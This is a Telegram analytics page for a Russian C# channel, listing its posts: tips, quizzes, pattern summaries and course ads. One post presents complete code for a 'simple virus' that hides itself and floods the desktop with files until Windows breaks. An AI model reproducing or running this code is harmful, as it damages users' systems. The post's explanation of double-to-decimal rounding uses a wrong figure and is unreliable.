uz
Feedback
C# (C Sharp) programming

C# (C Sharp) programming

Kanalga Telegram’da o‘tish

По всем вопросам- @notxxx1 Реестр РКН: https://clck.ru/3Fk3kb #VRHSZ

Ko'proq ko'rsatish

📈 Telegram kanali C# (C Sharp) programming analitikasi

C# (C Sharp) programming (@csharp_ci) Rus til segmentidagi kanali faol ishtirokchi. Hozirda hamjamiyat 18 144 obunachidan iborat bo'lib, Texnologiyalar & Aralashmalar toifasida 7 070-o'rinni va Rossiya mintaqasida 36 441-o'rinni egallagan.

📊 Auditoriya ko‘rsatkichlari va dinamika

невідомо sanasidan buyon loyiha tez o‘sib, 18 144 obunachiga ega bo‘ldi.

01 Sentabr, 2026 dagi oxirgi ma’lumotlarga ko‘ra kanal barqaror faollikka ega. Oxirgi 30 kunda obunachilar soni -54 ga, so‘nggi 24 soatda esa 20 ga o‘zgardi va umumiy qamrov yuqori darajada qolmoqda.

  • Tasdiqlash holati: Tasdiqlanmagan
  • Jalb etish (ER): Auditoriya o‘rtacha 13.79% darajada jalb etiladi. Nashrdan keyingi dastlabki 24 soatda kontent odatda umumiy obunachilar sonining 7.32% ini tashkil etuvchi reaksiyalarni to‘playdi.
  • Post qamrovi: Har bir post o‘rtacha 2 503 marta ko‘riladi; birinchi sutkada odatda 1 329 ta ko‘rish yig‘iladi.
  • Reaksiyalar va o‘zaro ta’sir: Auditoriya faol: har bir postga o‘rtacha 0 ta reaksiya keladi.
  • Tematik yo‘nalishlar: Kontent .net, api, логика, архитектура, string kabi asosiy mavzularga jamlangan.

📝 Tavsif va kontent siyosati

Muallif resursni shaxsiy fikrni ifoda etish maydoni sifatida ta’riflaydi:
По всем вопросам- @notxxx1 Реестр РКН: https://clck.ru/3Fk3kb #VRHSZ

Yuqori yangilanish chastotasi (oxirgi ma’lumot 02 Sentabr, 2026 da olingan) sababli kanal doimo dolzarb va katta qamrovli bo‘lib qoladi. Analitika auditoriya kontent bilan faol hamkorlik qilishini, uni Texnologiyalar & Aralashmalar toifasidagi muhim ta’sir nuqtasiga aylantirishini ko‘rsatadi.

18 144
Obunachilar
+2024 soatlar
+77 kun
-5430 kun
Postlar arxiv
🖥Ускоряем Dictionary в C# при помощи структур и CollectionsMarshal Как C# разработчик, вы по-любому знаете класс Dictionary.
+2
🖥Ускоряем Dictionary в C# при помощи структур и CollectionsMarshal Как C# разработчик, вы по-любому знаете класс Dictionary. В качестве значений вы, скорее всего, использовали классы. А знаете ли вы, что в Dictionary можно использовать структуры? Не стоит бояться того, что структуры копируются при передаче в метод или возврате из него. Есть способ этого избежать, и это работает быстро. Собственно, об этом и говорится в статье, а вот некоторые выводы из неё: 🟡Структуры — недооценённые элементы C#, которые, при определённых условиях, способны ускорить ваше приложение. 🟡При использовании структур в качестве значений для Dictionary лучше воспользоваться классом CollectionsMarshal. 🟡Методы этого класса GetValueRefOrAddDefault и GetValueRefOrNullRef позволяют получать элементы словаря по ссылке. Это, в свою очередь, может положительно сказаться на производительности кода при относительно большом количестве операций поиска в словаре. 📎 Статья @csharp_ci

🔥Подборка лучших обучающих каналов для программистов. ➡️ Делитесь с коллегами и сохраняйте себе, чтобы не потерять ⚡Машинное обучение Machine Learning - запускаем лучшие ИИ модели, пишем код, погружаемся в нейросети Ml Собеседование - подготовка к собесу по мл, алгоритмам, коду Ml ru - актуальные статьи, новости, код и обучающие материалы Ml Jobs - вакансии ML ML Книги - актуальные бесплатные книги МО ML чат 🏆 Golang Golang - изучи один из самых перспективных языков на ит-рынке Golang собеседование - разбор задач и вопросов с собесов Golang вакансии -работа для Go разработчика Golang книги библиотека книг Golang задачи и тесты Golang чат Golang news - новости из мира go Golang дайджест 💥 Linux /Этичный хакинг Linux Academy - гайды, секреты и лучшие материалы по Linux Kali linux - погрузись в мир этичного хакинга и кибербезопасности linux_kal - kali чат Информационная безопасность 🚀 Data Science Анализ данных - полезные фишки, код, гайды и советы, маст-хэв датасаентиста Data Jobs - ds вакансии Аналитик данных Data Science книги - актуальные бесплатные книги Big data 🛢Базы данных Sql базы данных - научим работе с базами данных профессионально Библиотека баз данных SQL чат Вакансии Sql аналитик данных #️⃣C# С# академия - лучший канал по c# С# заметки — код, лучшие практики, заметки программиста c# С# задачи и тесты С# библиотека - актуальные бесплатные книги C# вакансии - работа 🐍 Python Python/django - самый крупный обучающий канал по Python Python Собеседование - подготовка к собеседовению python и разбор алгоритмов Pro python - статьи, новости, код и обучающие материалы Python Jobs - вакансии Python Python чат Python книги ☕ Java Java академия - java от Senior разработчика Java вакансии Java чат Java вопросы с собеседований Java книги 💻 C++ C++ академия С++ книги C++ задачи - подготовка к собеседовению мл, алгоритмам C++ вакансии ⚡️ Frontend Javascript академия - крупнейший js канал React - лучшие гайды и советы по работе с react Frontend - тутрориалы, уроки, гайды, код PHP Книги frontend Задачи frontend 🦀 Rust Rust программирование Rust чат Rust книги для программистов 📲 Мобильная разработка Android разработка Мобильный разработчик гайды и уроки 🇬🇧 Английский для программистов 🧠 Искусственный интеллект ИИ и технологии Neural - нейросети для работы и жизни Книги ИИ Artificial Intelligence 🔥 DevOPs Devops для программистов Книги Devops 🌟 Docker/Kubernets Docker Kubernets 📓 Книги Библиотеки Книг для программситов 💼 Папка с вакансиями: Папка Go разработчика: Папка Python разработчика: Папка Data Science Папка Java разработчика Папка C# Папка Frontend

🖥 10 простых и не очень однострочников на C# ⏩Удваивание всех чисел в списке Print("Multiple each item in a list by 2", Enum
🖥 10 простых и не очень однострочников на C#Удваивание всех чисел в списке
Print("Multiple each item in a list by 2", Enumerable.Range(1, 10).Select(i => i * 2));
Сумма списка чисел
Print("Sum a list of numbers", Enumerable.Range(1, 1000).Sum());
Проверка вхождения подстроки
var wordlist = new[] { "C#", "and stuff" };
var tweet = "This is an example tweet talking about C# and stuff";
Print("Verify if a word exists in string", wordlist.Any(word => tweet.IndexOf(word) > -1));
Print("Show matched words in string", wordlist.Where(word => tweet.IndexOf(word) > -1));
Чтение файла
Print("Read in a File", File.ReadAllBytes("oneliners.exe").Length);
С днём рожденья
Print("Happy Birthday", Enumerable.Range(1, 4).Select((i) => string.Format("Happy Birthday {0} ", i == 3 ? "dear NAME" : "to You")));
Фильтрация списка чисел
var passed = new List<int>();
var failed = new List<int>();

(from bucket in new[] { passed, failed } from i in new[] { 49, 58, 76, 82, 88, 90 } select new { bucket, i }).ToList().ForEach((tuple) => tuple.bucket.AddRange(Enumerable.Repeat(tuple, 1).Where((tup) => (tup.bucket == passed && tup.i > 60) || (tup.bucket == failed && tup.i <= 60)).Select((tup) => tup.i)));
Print("Filter list of numbers >60", (IEnumerable<int>)passed);
Print("Filter list of numbers <=60", (IEnumerable<int>)failed);
Получение и разбор XML от веб-сервиса
Print("Fetch and Parse an XML web service", XDocument.Load("http://search.twitter.com/search.atom?&q=scala"));
Поиск минимума и максимума в списке
Print("Find minimum in a list", Enumerable.Min(new[] { 14, 35, -7, 46, 98 }));
Print("Find maximum in a list", Enumerable.Max(new[] { 14, 35, -7, 46, 98 }));
Параллельная обработка
Print("Parallel Processing", Enumerable.Range(1, 10).AsParallel().Select((i)=>i*2).AsEnumerable());
FizzBuzz
Print("Fizzbuzz", Enumerable.Range(1, 15).Select((i)=>i + (i%3==0?"fizz":"") + (i%5==0?"buzz":"")));
@csharp_ci

Бесплатный курс для middle C#-разработчиков от Ozon На курсе Route 256 инженеры Ozon расскажут про самые современные технолог
Бесплатный курс для middle C#-разработчиков от Ozon На курсе Route 256 инженеры Ozon расскажут про самые современные технологии, а также поделятся своим опытом разработки микросервисов. Будут лекции, воркшопы, код-ревью домашних заданий и профессиональное комьюнити. Курс рассчитан на разработчиков с опытом от 3 лет, в конце Ozon предлагает офферы лучшим выпускникам. Чтобы попасть на курс, нужно пройти отборочный контест 5 мая. Узнать подробности и подать заявку

Что выведет на экран этот код?
Anonymous voting

#ПятничныйКвиз #ПрощеНекуда
#ПятничныйКвиз #ПрощеНекуда

🖥 Необходимо определить делегат и реализовать метод ⏩Итак, вот задание: определить делегат bool CounterHashSetDelegate(int a
🖥 Необходимо определить делегат и реализовать метод ⏩Итак, вот задание: определить делегат bool CounterHashSetDelegate(int a) и реализовать метод int Function12(HashSet<int> intSet, CounterHashSetDelegate filter), который возвращает количество элементов из intSet, которые удовлетворяют условию filter.
public static  class 
{
public delegate bool CounterHashSetDelegate(int a);
public static int Function12(HashSet<int> intSet, CounterHashSetDelegate filter)
{
 
    int count = 0;
    foreach (int i in intSet)
    {
        if(filter(i))
                    count++;
}
return count;
}
}
⏩Давайте сразу к сути, решение может выглядеть так:
public delegate bool CounterHashSetDelegate(int a);

class Program
{
   static void Main(string[] args)
   {
       CounterHashSetDelegate d = IsEvenNum;

       Console.WriteLine($"Количество четных элементов:{Function12(new HashSet<int> { 1, 2, 3, 4, 5 }, d)}");

       d = IsGreaterThen;

       Console.WriteLine($"Количество  элементов > 2:{Function12(new HashSet<int> { 1, 2, 3, 4, 5 }, d)}");

       Console.ReadKey();
   }

   public static bool IsEvenNum(int a)
   {
       return a % 2 == 0;// четное ли число например
   }

   public static bool IsGreaterThen(int a)
   {
       return a > 2;//больше  ли  например
   }


   public static int Function12(HashSet<int> intSet, CounterHashSetDelegate filter)
   {

       int count = 0;
       foreach (int i in intSet)
       {
           if (filter(i))
           {
               count++;
           }
       }
       return count;
   }

}
Вот и все дела @csharp_ci

🖥 Блеск и нищета паттерна «Спецификация» в С#. Оцениваем планы запросов ⏩Держите годный контент. О чём статья? О паттерне «С
🖥 Блеск и нищета паттерна «Спецификация» в С#. Оцениваем планы запросов ⏩Держите годный контент. О чём статья? О паттерне «Спецификация», который позволяет улучшить структуру приложения, и, следовательно, увеличить гибкость, уменьшив при этом объем кода, а значит - сократить количество ошибок, но это не точно. ⏩Из статьи напрашивается такой очевидный вывод: паттерн «Спецификация» выгоднее всего использовать там, где модели состоят из нескольких десятков или сотен полей и к ним нужно применять сложные критерии фильтрации данных. 📎 Статья @csharp_ci

Добавьте в свое портфолио кейс по решению задачи с микросервисной архитектурой бесплатно и всего за пару часов На практическо
Добавьте в свое портфолио кейс по решению задачи с микросервисной архитектурой бесплатно и всего за пару часов На практическом уроке «Масштабируемая архитектура для систем обработки платежей». На вебинаре: - рассмотрим решение задачи по построению масштабируемой отказоустойчивой системы обработки платежей; - обсудим применения шардирования, паттерна Saga, двухфазного коммита и выбор уровня изоляции транзакций; - получим описание верхнеуровневой архитектуры. Занятие пройдёт 24 апреля в 20:00 мск в рамках курса «Microservice Architecture». Доступна рассрочка на обучение! 👉 Чтобы посетить открытый урок, зарегистрируйтесь: https://otus.pw/LG6se/?erid=LjN8KC4V4

🖥 Garnet — кэш от Microsoft, написан на C#, уделывает и Redis, и Dragonfly Как видно из бенчмарков, это сейчас вообще самый
🖥 Garnet — кэш от Microsoft, написан на C#, уделывает и Redis, и Dragonfly Как видно из бенчмарков, это сейчас вообще самый быстрый сервер структур данных на всём диком западе: Практически полностью совместим с Redis на уровне API, но при этом: ⏩Имеет либеральную MIT лицензию, как и все последние крупные проекты MS, и этим крайне выгодно отличается от Redis ⏩Написан на C#, и позволяет удобно расширять сервер ⏩Делает по производительности и Redis, написанный на C, и Dragonfly написанный на C++ 🖥 GitHub @csharp_ci

🖥 Делегаты C# Объект дня — делегаты Давайте вспомним и освежим основную инфу ⏩Делегат — это объект, который может ссылаться
🖥 Делегаты C# Объект дня — делегаты Давайте вспомним и освежим основную инфу ⏩Делегат — это объект, который может ссылаться на метод или несколько методов. Следовательно, когда создается делегат, то в итоге получается объект, содержащий ссылку на метод. Иными словами, делегат позволяет вызывать метод, на который он ссылается. ⏩По сути, делегат — это безопасный в отношении типов объект, указывающий на другой метод (или, возможно, список методов) приложения, который может быть вызван позднее. В частности, объект делегата поддерживает 3 важных фрагмента информации: — адрес метода, на котором он вызывается — аргументы (если есть) этого метода — возвращаемое значение (если есть) этого метода ⏩Пример использования делегата на изображении. Делегат — это по сути очередь в которую можно добавить сколько угодно методов. При выполнении train += Wagon2; мы добавляем 2й вагон в очередь. Причина, почему на экран вывелась цифра 3 после выполнения всех методов в том, что если функция имеет возвращаемое значение, то возвращается значение с последней добавленной "в очередь" функции. @csharp_ci

Что выведет на экран этот код?
Anonymous voting

#ПятничныйКвиз #карательныйсишарп
#ПятничныйКвиз #карательныйсишарп

ХОЧЕШЬ ПОВЫШЕНИЕ В 2024 ГОДУ? 😎🔥 Согласно опросу, проведенному компанией Solo.io в 2022 году, на текущий момент 85% организ
ХОЧЕШЬ ПОВЫШЕНИЕ В 2024 ГОДУ? 😎🔥 Согласно опросу, проведенному компанией Solo.io в 2022 году, на текущий момент 85% организаций переводят свои IT-системы на микросервисную архитектуру. Но специалистов, которые глубоко понимают все тонкости и нюансы микросервисной архитектуры не так-то много. Самое время разобраться в микросервисной архитектуре и стать более востребованным специалистом. 🚀 Стартуем 9 апреля. Курс ведет действующий архитектор Кирилл Ветчинкин. Он успешно реализовал проекты с применением микросервисов для Мегафона, Теле2, ВСS Brокer, СберМаркет. Постоянный спикер крупных IT-конференций. На курсе вы: 📌 Изучите и отработаете более 20 паттернов микросервисной архитектуры 📌 Познакомитесь c Domain Driven Design 📌 Научитесь декомпозировать систему на микросервисы с помощью Event Storming и DDD Полная программа ТУТ https://microarch.ru/?utm_source=posev&utm_medium=erid:2VtzqwKifY2&utm_campaign=4 А самое главное — будет поддержка от эксперта, чат с одногруппниками и интересное практическое задание. Сертификат об участии по итогам прохождения курса. Курс ориентирован на системных аналитиков и разработчиков, которые хотят больше погрузиться в архитектуру современных IT систем. Узнай больше о курсе 👉 https://microarch.ru/?utm_source=posev&utm_medium=erid:2VtzqwKifY2&utm_campaign=4 Реклама. ИП Ветчинкин К.Е. ИНН: 773376451099 Erid: 2VtzqwKifY2

🖥 Пишем невероятно простой вирус на C# Всё в этом посте описано исключительно в образовательных целях Любой программист долж
🖥 Пишем невероятно простой вирус на C# Всё в этом посте описано исключительно в образовательных целях Любой программист должен написать свой маленький вирус. В этом посте у нас простой вирус в 30 строк. Принцип роботы таков: он включается и начинает создавать пустые файлы на робочем столе, и когда файлов создается больше 500 explorer.exe (проводник, процесс который управляет рабочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера). Единственный способ вылечить ПК — удалить все файлы из папки рабочего стола. Итак вот и код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
 [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]

// Настройка нужных переменных
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        const int SW_HIDE = 0;
        const int SW_SHOW = 5;
 static void Main()
 {

// Скрываем программу 
         var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);
          Process pr = new Process();
                pr.StartInfo.FileName = "prog.exe";
                pr.StartInfo.Arguments = "-r";
                pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                pr.Start();
                pr.WaitForExit();
  int i=0;

// Сам вирус =)
  while(true){
   i=i+1;
  System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
        } 
 }
}
📎 Подробнее @csharp_ci

В этом году ШАД Яндекса увеличивает набор студентов на треть Отвечая на растущий запрос рынка на сильных ML-специалистов, Шко
+6
В этом году ШАД Яндекса увеличивает набор студентов на треть Отвечая на растущий запрос рынка на сильных ML-специалистов, Школа анализа данных Яндекса, где бесплатно готовят профессионалов в ML и Data Science, примет более 400 студентов в новом учебном году. О том, что образование в сфере ИИ — всё более перспективный выбор, говорит и исследование ШАДа: каждый четвертый выпускник работает в научной сфере, а 77%  устраиваются в крупные технологические компании, в числе которых Яндекс, Авито, Тинькофф, VK, Сбер и другие. Те, кто хочет участвовать в конкурсном отборе в ШАД, найдут подробности поступления здесь. @csharp_ci

🖥 Округление при преобразовании double в decimal ⏩При достаточно больших значениях double (с заданной целой частью) при его
🖥 Округление при преобразовании double в decimal ⏩При достаточно больших значениях double (с заданной целой частью) при его преобразовании в decimal происходит округление. Однако преобразование в long дает правильный результат.
double d = 1725040000979649;
long l = (long)d;
decimal result1 = (decimal)d; // 1725040000979650
decimal result2 = (decimal)l; // 1725040000979649
Почему так происходит? Можно ли как то преобразовать без округления? ⏩Это особенность преобразования. 1725040000979649 очень близко к максимальному значению мантиссы для типа double 179769313486232, и, видимо, дело именно в этом. Если убрать любую цифру, то всё будет норм. 41-45 округляется к 40, 46-49 округляется к 50. Скорее всего, это сделано потому, что только диапазон 14-тиразрядных чисел может быть представлен точно полностью (до 99 999 999 999 999), поэтому 15-ый рязряд округляется. Преобразовать без округления можно только так:
decimal result2 = (long)d;
@csharp_ci

🖥 Декоратор — описание паттерна с примером на C# Декоратор — это структурный паттерн, который позволяет добавлять объектам н
+2
🖥 Декоратор — описание паттерна с примером на C# Декоратор — это структурный паттерн, который позволяет добавлять объектам новые поведения на лету, помещая их в объекты-обёртки. Паттерн можно часто встретить в C#-коде, особенно в коде, работающем с потоками данных. А вот некоторые мысли из статьи: ⏩Декоратор может решать, к примеру, такую проблему: пользователи хотят получать оповещения о критических проблемах через разные каналы ⏩То, что делает декоратор, в некоторых случаях можно получить через наследование Но появляются проблемы, такие как статичность и невозможность наследовать поведение нескольких классов одновременно ⏩Альтернатива наследованию - агрегация или композиция, которые позволяют одному объекту делегировать работу другому ⏩Декораторы имеют общий интерфейс, что позволяет клиенту работать с обёрнутыми объектами без изменения кода 📎 Статья 📎 Пример на C# @csharp_ci

🖥 Разбор разных практик тестирования в C# Держите полезное видео, где обсуждается процесс тестирования в C# с разных сторон
🖥 Разбор разных практик тестирования в C# Держите полезное видео, где обсуждается процесс тестирования в C# с разных сторон Что именно рассматривается в видео? ⏩Тестирование и качество связаны с исследованием и испытанием программного продукта. ⏩Автоматизация тестирования имеет преимущества, но может быть сложной в разработке и поддержке. ⏩Определение количества и процента охвата теста рекомендуется на уровне 80%. ⏩Графики тестирования и качество продукта обсуждаются, и автоматизированное тестирование может быть более эффективным в долгосрочной перспективе. 📎 Кликабельный план видео 📎 YouTube @csharp_ci

erid: LjN8JzPej Привет! Мы BAUM, российская IT-компания. Наша работа — создавать продвинутые системы хранения данных и разраб
erid: LjN8JzPej Привет! Мы BAUM, российская IT-компания. Наша работа — создавать продвинутые системы хранения данных и разрабатывать прикладной искусственный интеллект. Недавно мы завели аккаунт, где делимся своим опытом, даём советы для успешной карьеры, рассказываем об интересных событиях из нашей жизни и, конечно, публикуем вакансии. Обещаем, что будет очень полезно и совсем не душно — подписывайся!